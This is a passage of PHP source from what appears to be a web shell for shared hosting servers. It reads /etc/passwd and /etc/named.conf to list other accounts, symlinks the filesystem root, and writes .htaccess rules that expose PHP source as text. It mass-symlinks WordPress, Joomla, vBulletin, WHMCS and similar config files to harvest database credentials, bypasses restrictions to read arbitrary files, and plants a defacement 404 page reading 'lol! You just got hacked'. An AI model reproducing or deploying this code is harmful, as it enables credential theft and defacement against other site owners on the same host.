2055 <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
2056
2057 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
2058
2059 <?php if($os != 'Windows')
2060 {
2061 echo "<td align=center><font size=2>";
2062 echo getOGid($val)."</font></td>";
2063 } ?>
2064 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
2065
2066 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
2067 <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
2068 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
2069 </tr>
2070 <p>
2071 <?php
2072 }
2073 }
2074
2075 echo "</table>
2076<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label>
2077<select class=sbox name=choice style='width: 100px;'>
2078 <option value=delete>Delete</option>
2079 <option value=chmod>Change mode</option>
2080 if(class_exists('ZipArchive'))
2081 { <option value=compre>Compress</option>
2082 <option value=uncompre>Uncompress</option> }
2083 </select>
2084
2085 <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
2086 }}
2087 else
2088 {
2089 echo "<p><font size=3>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
2090 }
2091
2092}
2093if(isset($_REQUEST["script"]))
2094{
2095 $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
2096 ?>
2097 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('scserver')"><font class=txt size="4">| Use Server |</font></a></td>
2098 <td><a href=javascript:void(0) onClick="getdata('scphp')"><font class=txt size="4">| Use PHP |</font></a></td>
2099 </tr></table></center>
2100 <?php
2101}
2102elseif(isset($_REQUEST["scserver"]))
2103{
2104 ?><center><table><tr><td><a href=javascript:void(0) onClick="getdata('servermanuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
2105 <td><a href=javascript:void(0) onClick="getdata('serverscriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
2106 </tr></table></center><?php
2107}
2108else if(isset($_REQUEST['servermanuallyscript']))
2109{
2110 ?>
2111 <center>
2112 <form action="<?php echo $self; ?>" method="post">
2113 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
2114 <input type="button" OnClick="manuallyscriptfn('serverscriptlocator',passwd.value)" value="Get Config" class="but">
2115 </form>
2116 </center>
2117 <?php
2118}
2119elseif(isset($_REQUEST['serverscriptlocator']))
2120{
2121 if($os != "Windows")
2122 {
2123 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2124 $path=explode('/',$url);
2125 $url =str_replace($path[count($path)-1],'',$url);
2126 if(isset($_REQUEST['passwd']))
2127 {
2128 $getetc = trim($_REQUEST['passwd']);
2129
2130 mkdir("dhanushSPT");
2131 chdir("dhanushSPT");
2132
2133 $myfile = fopen("test.txt","w");
2134
2135 fputs($myfile,$getetc);
2136 fclose($myfile);
2137 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Username</font></td><td align=center><font size=4 >Script</font></td></tr>";
2138 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2139 while(!feof($file))
2140 {
2141 $s = fgets($file);
2142 $matches = array();
2143 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2144 $matches = str_replace("home/","",$matches[1]);
2145 $hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
2146 $headers=get_headers($hs_status);
2147 if(strpos($headers[0],'200') == true )
2148 $hs_script = "Wordpress";
2149 $hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
2150 $headers=get_headers($hs_status);
2151 if(strpos($headers[0],'200') == true )
2152 $hs_script = "Wordpress";
2153 $hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
2154 $headers=get_headers($hs_status);
2155 if(strpos($headers[0],'200') == true )
2156 $hs_script = "Joomla";
2157 $hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
2158 $headers=get_headers($hs_status);
2159 if(strpos($headers[0],'200') == true )
2160 $hs_script = "Vbulletin";
2161 $hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
2162 $headers=get_headers($hs_status);
2163 if(strpos($headers[0],'200') == true )
2164 $hs_script = "Vbulletin";
2165 $hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
2166 $headers=get_headers($hs_status);
2167 if(strpos($headers[0],'200') == true )
2168 $hs_script = "Mybb";
2169 $hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
2170 $headers=get_headers($hs_status);
2171 if(strpos($headers[0],'200') == true )
2172 $hs_script = "IPB";
2173 $hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
2174 $headers=get_headers($hs_status);
2175 if(strpos($headers[0],'200') == true )
2176 $hs_script = "SMF";
2177 $hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
2178 $headers=get_headers($hs_status);
2179 if(strpos($headers[0],'200') == true )
2180 $hs_script = "WHMCS";
2181 echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
2182 echo "<td align=center><font class=txt><a href=".$hs_status." target='_blank'>".$hs_script."</a></td></tr>";
2183 $dcount++;
2184 }
2185 echo "</table>";
2186 fclose($file);
2187 unlink("test.txt");
2188 }
2189 else
2190 {
2191 $d0mains = @file("/etc/named.conf");
2192 if($d0mains)
2193 {
2194 @mkdir("dhanush",0777);
2195 @chdir("dhanush");
2196 execmd("ln -s / root");
2197 $file3 = 'Options all
2198 DirectoryIndex Sux.html
2199 AddType text/plain .php
2200 AddHandler server-parsed .php
2201 AddType text/plain .html
2202 AddHandler txt .html
2203 Require None
2204 Satisfy Any
2205 ';
2206 $fp3 = fopen('.htaccess','w');
2207 $fw3 = fwrite($fp3,$file3);
2208 @fclose($fp3);
2209 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Site</font></td><td align=center><font size=4 >Script</font></td></tr>";
2210 $dcount = 1;
2211 foreach($d0mains as $d0main)
2212 {
2213 if(eregi("zone",$d0main))
2214 {
2215 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2216 flush();
2217
2218 if(strlen(trim($domains[1][0])) > 2)
2219 {
2220 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2221 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/wp-config.php";
2222 $headers=get_headers($hs_status);
2223 if(strpos($headers[0],'200') == true )
2224 $hs_script = "Wordpress";
2225 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/blog/wp-config.php";
2226 $headers=get_headers($hs_status);
2227 if(strpos($headers[0],'200') == true )
2228 $hs_script = "Wordpress";
2229 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/configuration.php";
2230 $headers=get_headers($hs_status);
2231 if(strpos($headers[0],'200') == true )
2232 $hs_script = "Joomla";
2233 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/forum/includes/config.php";
2234 $headers=get_headers($hs_status);
2235 if(strpos($headers[0],'200') == true )
2236 $hs_script = "Vbulletin";
2237 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/core/includes/config.php";
2238 $headers=get_headers($hs_status);
2239 if(strpos($headers[0],'200') == true )
2240 $hs_script = "Vbulletin";
2241 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/inc/config.php";
2242 $headers=get_headers($hs_status);
2243 if(strpos($headers[0],'200') == true )
2244 $hs_script = "Mybb";
2245 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/conf_global.php";
2246 $headers=get_headers($hs_status);
2247 if(strpos($headers[0],'200') == true )
2248 $hs_script = "IPB";
2249 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/settings.php";
2250 $headers=get_headers($hs_status);
2251 if(strpos($headers[0],'200') == true )
2252 $hs_script = "SMF";
2253 $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/submitticket.php";
2254 $headers=get_headers($hs_status);
2255 if(strpos($headers[0],'200') == true )
2256 $hs_script = "WHMCS";
2257 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td><a href=".$domains[1][0]." target='_blank'><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt><a href=".$hs_status." target=_blank>".$hs_user."</a></font></td></tr>"; flush();
2258
2259 $dcount++;
2260 }
2261 }
2262
2263 }
2264 echo "</table>";
2265 }
2266 else
2267 {
2268 $TEST=@file('/etc/passwd');
2269 if ($TEST)
2270 {
2271 @mkdir("dhanush",0777);
2272 @chdir("dhanush");
2273 execmd("ln -s / root");
2274 $file3 = 'Options all
2275 DirectoryIndex Sux.html
2276 AddType text/plain .php
2277 AddHandler server-parsed .php
2278 AddType text/plain .html
2279 AddHandler txt .html
2280 Require None
2281 Satisfy Any
2282 ';
2283 $fp3 = fopen('.htaccess','w');
2284 $fw3 = fwrite($fp3,$file3);
2285 @fclose($fp3);
2286
2287 echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
2288
2289 $dcount = 1;
2290 $file = fopen("/etc/passwd", "r");
2291 //Output a line of the file until the end is reached
2292 while(!feof($file))
2293 {
2294 $s = fgets($file);
2295 $matches = array();
2296 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2297 $matches = str_replace("home/","",$matches[1]);
2298 $hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
2299 $headers=get_headers($hs_status);
2300 if(strpos($headers[0],'200') == true )
2301 $hs_script = "Wordpress";
2302 $hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
2303 $headers=get_headers($hs_status);
2304 if(strpos($headers[0],'200') == true )
2305 $hs_script = "Wordpress";
2306 $hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
2307 $headers=get_headers($hs_status);
2308 if(strpos($headers[0],'200') == true )
2309 $hs_script = "Joomla";
2310 $hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
2311 $headers=get_headers($hs_status);
2312 if(strpos($headers[0],'200') == true )
2313 $hs_script = "Vbulletin";
2314 $hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
2315 $headers=get_headers($hs_status);
2316 if(strpos($headers[0],'200') == true )
2317 $hs_script = "Vbulletin";
2318 $hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
2319 $headers=get_headers($hs_status);
2320 if(strpos($headers[0],'200') == true )
2321 $hs_script = "Mybb";
2322 $hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
2323 $headers=get_headers($hs_status);
2324 if(strpos($headers[0],'200') == true )
2325 $hs_script = "IPB";
2326 $hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
2327 $headers=get_headers($hs_status);
2328 if(strpos($headers[0],'200') == true )
2329 $hs_script = "SMF";
2330 $hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
2331 $headers=get_headers($hs_status);
2332 if(strpos($headers[0],'200') == true )
2333 $hs_script = "WHMCS";
2334 echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
2335 echo "<td align=center><font class=txt><a href=".$hs_status." target='_blank'>".$hs_script."</a></td></tr>";
2336 $dcount++;
2337 }
2338 fclose($file);
2339
2340 echo "</table>";
2341 }
2342 else
2343 {
2344 @mkdir("dhanush",0777);
2345 @chdir("dhanush");
2346 execmd("ln -s / root");
2347 $file3 = 'Options all
2348 DirectoryIndex Sux.html
2349 AddType text/plain .php
2350 AddHandler server-parsed .php
2351 AddType text/plain .html
2352 AddHandler txt .html
2353 Require None
2354 Satisfy Any
2355 ';
2356 $fp3 = fopen('.htaccess','w');
2357 $fw3 = fwrite($fp3,$file3);
2358 @fclose($fp3);
2359 echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
2360 $temp = "";
2361 $val1 = 0;
2362 $val2 = 1000;
2363 for(;$val1 <= $val2;$val1++)
2364 {
2365 $uid = @posix_getpwuid($val1);
2366 if ($uid)
2367 $temp .= join(':',$uid)."\n";
2368 }
2369 echo '<br/>';
2370 $temp = trim($temp);
2371
2372 $file5 = fopen("test.txt","w");
2373 fputs($file5,$temp);
2374 fclose($file5);
2375
2376 $dcount = 1;
2377 $file = fopen("test.txt", "r");
2378 while(!feof($file))
2379 {
2380 $s = fgets($file);
2381 $matches = array();
2382 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2383 $matches = str_replace("home/","",$matches[1]);
2384 $hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
2385 $headers=get_headers($hs_status);
2386 if(strpos($headers[0],'200') == true )
2387 $hs_script = "Wordpress";
2388 $hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
2389 $headers=get_headers($hs_status);
2390 if(strpos($headers[0],'200') == true )
2391 $hs_script = "Wordpress";
2392 $hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
2393 $headers=get_headers($hs_status);
2394 if(strpos($headers[0],'200') == true )
2395 $hs_script = "Joomla";
2396 $hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
2397 $headers=get_headers($hs_status);
2398 if(strpos($headers[0],'200') == true )
2399 $hs_script = "Vbulletin";
2400 $hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
2401 $headers=get_headers($hs_status);
2402 if(strpos($headers[0],'200') == true )
2403 $hs_script = "Vbulletin";
2404 $hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
2405 $headers=get_headers($hs_status);
2406 if(strpos($headers[0],'200') == true )
2407 $hs_script = "Mybb";
2408 $hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
2409 $headers=get_headers($hs_status);
2410 if(strpos($headers[0],'200') == true )
2411 $hs_script = "IPB";
2412 $hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
2413 $headers=get_headers($hs_status);
2414 if(strpos($headers[0],'200') == true )
2415 $hs_script = "SMF";
2416 $hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
2417 $headers=get_headers($hs_status);
2418 if(strpos($headers[0],'200') == true )
2419 $hs_script = "WHMCS";
2420 echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
2421 echo "<td align=center><font class=txt><a href=".$hs_status." target='_blank'>".$hs_script."</a></td></tr>";
2422 $dcount++;
2423 }
2424 fclose($file);
2425 echo "</table>";
2426 unlink("test.txt");
2427 }
2428 }
2429 }
2430 }
2431 else
2432 echo "<center>Cannot Get Scripts</center>";
2433}
2434elseif(isset($_REQUEST["scphp"]))
2435{
2436 ?><center><table><tr><td><a href=javascript:void(0) onClick="getdata('phpmanuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
2437 <td><a href=javascript:void(0) onClick="getdata('phpscriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
2438 </tr></table></center><?php
2439}
2440else if(isset($_REQUEST['phpmanuallyscript']))
2441{
2442 ?>
2443 <center>
2444 <form action="<?php echo $self; ?>" method="post">
2445 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
2446 <input type="button" OnClick="manuallyscriptfn('phpscriptlocator',passwd.value)" value="Get Config" class="but">
2447 </form>
2448 </center>
2449 <?php
2450}
2451else if(isset($_REQUEST['phpscriptlocator']))
2452{
2453 if($os == "Linux")
2454 {
2455 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2456 $path=explode('/',$url);
2457 $url =str_replace($path[count($path)-1],'',$url);
2458 function syml($usern,$pdomain)
2459 {
2460 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2461 symlink('/home/'.$usern.'/public_html/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
2462 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2463 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2464 symlink('/home/'.$usern.'/public_html/vb/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
2465 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
2466 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2467 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2468 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb1.txt');
2469 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2470 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2471 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2472 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2473 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2474 symlink('/home/'.$usern.'/public_html/bb-config.php',$pdomain.'~~boxbilling.txt');
2475 symlink('/home/'.$usern.'/public_html/billing/bb-config.php',$pdomain.'~~boxbilling.txt');
2476 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2477 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2478 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2479 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2480 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2481 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2482 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2483 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2484 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2485 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
2486 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
2487 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2488 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
2489 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
2490 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2491 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
2492 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2493 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2494 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2495 }
2496 if(isset($_REQUEST['passwd']))
2497 {
2498 $getetc = trim($_REQUEST['passwd']);
2499
2500 mkdir("dhanushSPT");
2501 chdir("dhanushSPT");
2502 $file3 = 'Options all
2503 DirectoryIndex Sux.html
2504 AddType text/plain .php
2505 AddHandler server-parsed .php
2506 AddType text/plain .html
2507 AddHandler txt .html
2508 Require None
2509 Satisfy Any
2510 ';
2511 $fp3 = fopen('.htaccess','w');
2512 $fw3 = fwrite($fp3,$file3);
2513 @fclose($fp3);
2514 $myfile = fopen("test.txt","w");
2515 fputs($myfile,$getetc);
2516 fclose($myfile);
2517
2518 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2519 while(!feof($file))
2520 {
2521 $s = fgets($file);
2522 $matches = array();
2523 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2524 $matches = str_replace("home/","",$matches[1]);
2525 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2526 continue;
2527 syml($matches,$matches);
2528 }
2529 fclose($file);
2530 unlink("test.txt");
2531 echo "<center><font class=txt size=3>[ Done ]</font></center>";
2532 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
2533
2534 }
2535 else
2536 {
2537 $d0mains = @file("/etc/named.conf");
2538 if($d0mains)
2539 {
2540 mkdir("dhanushST");
2541 chdir("dhanushST");
2542 $file3 = 'Options all
2543 DirectoryIndex Sux.html
2544 AddType text/plain .php
2545 AddHandler server-parsed .php
2546 AddType text/plain .html
2547 AddHandler txt .html
2548 Require None
2549 Satisfy Any
2550 ';
2551 $fp3 = fopen('.htaccess','w');
2552 $fw3 = fwrite($fp3,$file3);
2553 @fclose($fp3);
2554 foreach($d0mains as $d0main)
2555 {
2556 if(eregi("zone",$d0main))
2557 {
2558 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2559 flush();
2560
2561 if(strlen(trim($domains[1][0])) > 2)
2562 {
2563 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2564
2565 syml($user['name'],$domains[1][0]);
2566 }
2567 }
2568 }
2569 echo "<center><font class=txt size=3>[ Done ]</font></center>";
2570 echo "<br><center><a href=".$url."dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
2571 }
2572 else
2573 {
2574 mkdir("dhanushSPT");
2575 chdir("dhanushSPT");
2576 $file3 = 'Options all
2577 DirectoryIndex Sux.html
2578 AddType text/plain .php
2579 AddHandler server-parsed .php
2580 AddType text/plain .html
2581 AddHandler txt .html
2582 Require None
2583 Satisfy Any
2584 ';
2585 $fp3 = fopen('.htaccess','w');
2586 $fw3 = fwrite($fp3,$file3);
2587 @fclose($fp3);
2588 $temp = "";
2589 $val1 = 0;
2590 $val2 = 1000;
2591 for(;$val1 <= $val2;$val1++)
2592 {
2593 $uid = @posix_getpwuid($val1);
2594 if ($uid)
2595 $temp .= join(':',$uid)."\n";
2596 }
2597 echo '<br/>';
2598 $temp = trim($temp);
2599
2600 $file5 = fopen("test.txt","w");
2601 fputs($file5,$temp);
2602 fclose($file5);
2603
2604
2605 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2606 while(!feof($file))
2607 {
2608 $s = fgets($file);
2609 $matches = array();
2610 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2611 $matches = str_replace("home/","",$matches[1]);
2612 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2613 continue;
2614 syml($matches,$matches);
2615 }
2616 fclose($file);
2617 echo "</table>";
2618 unlink("test.txt");
2619 echo "<center><font class=txt size=3>[ Done ]</font></center>";
2620 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
2621 }
2622 }
2623 }
2624 else
2625 echo "<center>Cannot Complete the task!!!!</center>";
2626
2627}
2628else if(isset($_GET["symlinkfile"]))
2629{
2630 if(!isset($_GET['file']))
2631 {
2632 ?>
2633 <center>
2634 <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
2635 <input type="text" class="box" name="file" size="50" value="/etc/passwd">
2636 <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
2637 </form></center>
2638 <br><br>
2639 <?php
2640 }
2641}
2642else if(isset($_GET['symlinkmyfile']))
2643{
2644 if($os == "Linux")
2645 {
2646 $fakedir="cx";
2647 $fakedep=16;
2648
2649 $num=0; // offset of symlink.$num
2650
2651 if(!empty($_GET['myfile']))
2652 $file=$_GET['myfile'];
2653 else $file="";
2654
2655 if(empty($file))
2656 exit;
2657
2658 if(!is_writable("."))
2659 echo "not writable directory";
2660
2661 $level=0;
2662
2663 for($as=0;$as<$fakedep;$as++)
2664 {
2665 if(!file_exists($fakedir))
2666 mkdir($fakedir);
2667 chdir($fakedir);
2668 }
2669
2670 while(1<$as--) chdir("..");
2671
2672 $hardstyle = explode("/", $file);
2673
2674 for($a=0;$a<count($hardstyle);$a++)
2675 {
2676 if(!empty($hardstyle[$a]))
2677 {
2678 if(!file_exists($hardstyle[$a]))
2679 mkdir($hardstyle[$a]);
2680 chdir($hardstyle[$a]);
2681 $as++;
2682 }
2683 }
2684 $as++;
2685 while($as--)
2686 chdir("..");
2687
2688 @rmdir("fakesymlink");
2689 @unlink("fakesymlink");
2690
2691 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
2692
2693 while(1)
2694 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
2695 else $num++;
2696
2697 @unlink("fakesymlink");
2698 mkdir("fakesymlink");
2699
2700 echo '<CENTER>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</CENTER>';
2701 }
2702 else
2703 echo '<CENTER>Cannot Create Symlink</CENTER>';
2704}
2705else if(isset($_POST['cpaneluser']))
2706{
2707 if(is_numeric($_POST['noofsubdomain']))
2708 {
2709 for($i=1;$i<=$_POST['noofsubdomain'];$i++)
2710 {
2711 $subDomain = randomt();
2712 echo make_subdomain($subDomain,$_POST['cpaneluser'],$_POST['cpanelpass'],$_POST['subindex']);
2713 }
2714 }
2715 else
2716 echo "Insert number";
2717}
2718else if(isset($_REQUEST['404new']))
2719{
2720 ?>
2721 <form>
2722 <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
2723 <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
2724 </br>
2725 </form>
2726 <?php
2727}
2728else if(isset($_REQUEST['404page']))
2729{
2730 $url = $_SERVER['REQUEST_URI'];
2731 $path=explode('/',$url);
2732 $url =str_replace($path[count($path)-1],'',$url);
2733 if(isset($_POST['message']))
2734 {
2735 if($myfile = fopen(".htaccess", "a"))
2736 {
2737 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
2738 if($myfilee = fopen("404.html", "w+"))
2739 {
2740 fwrite($myfilee, $_POST['message']);
2741 }
2742 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
2743 }
2744 else
2745 echo "<center>Cannot Set 404 Page</center>";
2746 }
2747 else if(strlen($ind) != 0)
2748 {
2749 if($myfile = fopen(".htaccess", "a"))
2750 {
2751 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
2752
2753 if($myfilee = fopen("404.html", "w+"))
2754 {
2755 fwrite($myfilee, base64_decode($ind));
2756
2757 fclose($myfilee);
2758 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
2759 }
2760 fclose($myfile);
2761 }
2762 else
2763 {
2764 echo "<center>Cannot Set 404 Page</center>";
2765 }
2766 }
2767 else
2768 echo "<center>Nothing Specified in the shell</center>";
2769}
2770else if(isset($_GET["symlink"]))
2771{
2772 $d0mains = @file("/etc/named.conf");
2773 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2774 $path=explode('/',$url);
2775 $url =str_replace($path[count($path)-1],'',$url);
2776 if($d0mains)
2777 {
2778 @mkdir("dhanush",0777);
2779 @chdir("dhanush");
2780 execmd("ln -s / root");
2781
2782 $file3 = 'Options all
2783 DirectoryIndex Sux.html
2784 AddType text/plain .php
2785 AddHandler server-parsed .php
2786 AddType text/plain .html
2787 AddHandler txt .html
2788 Require None
2789 Satisfy Any
2790 ';
2791 $fp3 = fopen('.htaccess','w');
2792 $fw3 = fwrite($fp3,$file3);
2793 @fclose($fp3);
2794
2795 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
2796
2797 $dcount = 1;
2798 foreach($d0mains as $d0main)
2799 {
2800 if(eregi("zone",$d0main))
2801 {
2802 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2803 flush();
2804
2805 if(strlen(trim($domains[1][0])) > 2)
2806 {
2807 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2808
2809 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user['name']."</font></td><td><a href=".$url."dhanush/root/home/".$user['name']."/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
2810 $dcount++;
2811 }
2812 }
2813
2814 }
2815 echo "</table>";
2816 }
2817 else
2818 {
2819 if($os == "Linux")
2820 {
2821 ?>
